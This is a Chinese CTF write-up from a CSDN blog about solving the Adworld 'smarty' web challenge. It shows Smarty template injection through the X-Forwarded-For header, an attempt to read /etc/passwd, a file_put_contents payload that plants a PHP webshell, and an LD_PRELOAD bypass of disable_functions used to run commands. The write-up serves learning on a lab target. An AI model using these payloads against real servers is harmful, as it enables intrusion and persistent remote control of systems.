攻防世界高手进阶区php2,攻防世界 web高手进阶区 9分题 smarty

前言

继续ctf的旅程

开始攻防世界web高手进阶区的9分题

本文是smarty的writeup

解题过程

smarty是php模板引擎

这题应该是一个SSTI

进入界面

57398c4aeb815f16d3d9b50ccf9cc92f.png

根据题目和页面最下方build with smarty

确认是用smarty模板

那就有两种可能的注入点:

XFF

client IP

尝试

将XFF头改为{7*7}

77ce5e64eaafbdfe5d3213f95d7a8cd5.png

发现current IP的值变为了49

可以确定这里存在SSTI

尝试注入

{$smarty.version}1

86f4157f972c254228a401f48815ae2e.png

得到smarty版本3.1.30

{phpinfo()}1

439e769fd3b3a0ce29ce189b0a39dac7.png

得到php版本7.2.24

注入方法:

常规{}

{php}{/php}标签,已经弃用,在Smarty 3.1,{php}仅在SmartyBC中可用

{literal}标签,在php5中可以用

静态方法,在在3.1.30的Smarty中被删除

{if}标签

总结一下就是在本题中只有常规{}和{if}标签可用

先试试常规

{system('ls')}1

e96cb3aeddc7e40515b157d6b7b58bae.png

没有显示

但之前phpinfo是正常显示的

就迷惑了

试试{if}标签

{if phpinfo()}{/if}1

e27b35527b4d2b6d2f53e1e42edd2683.png

phpinfo显示

{if system('ls')}{/if}1

587d769833c544c8a35fd1853e5da2da.png

ls指令又失败了

不死心试试其他注入方法

{php}phpinfo();{/php}1

a0940c7097ec316de6ad60d5aa2e71f3.png

{self::getStreamVariable("file:///etc/passwd")}1

1f04ff28b4be74d164dc7c3e8b00c376.png

都意料之内的直接失败

这说明注入方法还是常规{}或{if}标签

但是system可能被干掉了

去看眼phpinfo里面的信息

2a5e726fe95587d7ccb12f1bfbdb7509.png

d48d01f4930a778a9b9add9b07d1e59a.png

发现system果然被禁了

且可访问的地址是/var/www/html/

这感觉是可以上传文件进行突破

但一时没有思路

查了好一会儿资料

。。。。。。

这里参考无需sendmail:巧用LD_PRELOAD突破disable_functions

一句话木马

{if file_put_contents("/var/www/html/shell.php","")}{/if}1

4b4cc03d694f76e496b49c9ff8b5fb19.png

蚁剑连接

aaf10ad0a0fffd756e6008294958a2b5.png

fe460cb2fb59cc90a14ae9782f163acf.png

根据文章

上传bypass_disablefunc.php和bypass_disablefunc_x64.so

具体代码在作者的github上

203e2e75a9484435f5edb032af909c86.png

url访问

/bypass_disablefunc.php?cmd=cat /flag&outpath=/tmp/tmpfile&sopath=/var/www/html/bypass_disablefunc_x64.so1

c372cba6f36bbf2d9236358103c4b123.png

成功得到flag

结语

smarty的模板注入没啥问题,了解下就懂了

后面巧用LD_PRELOAD突破disable_functions有点妙

也查了好久

学到了

知识点

smarty模板注入

巧用LD_PRELOAD突破disable_functions

几篇参考

文章来源: blog.csdn.net,作者:思源湖的鱼,版权归原作者所有,如需转载,请联系作者。

原文链接:blog.csdn.net/weixin_44604541/article/details/109123323

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值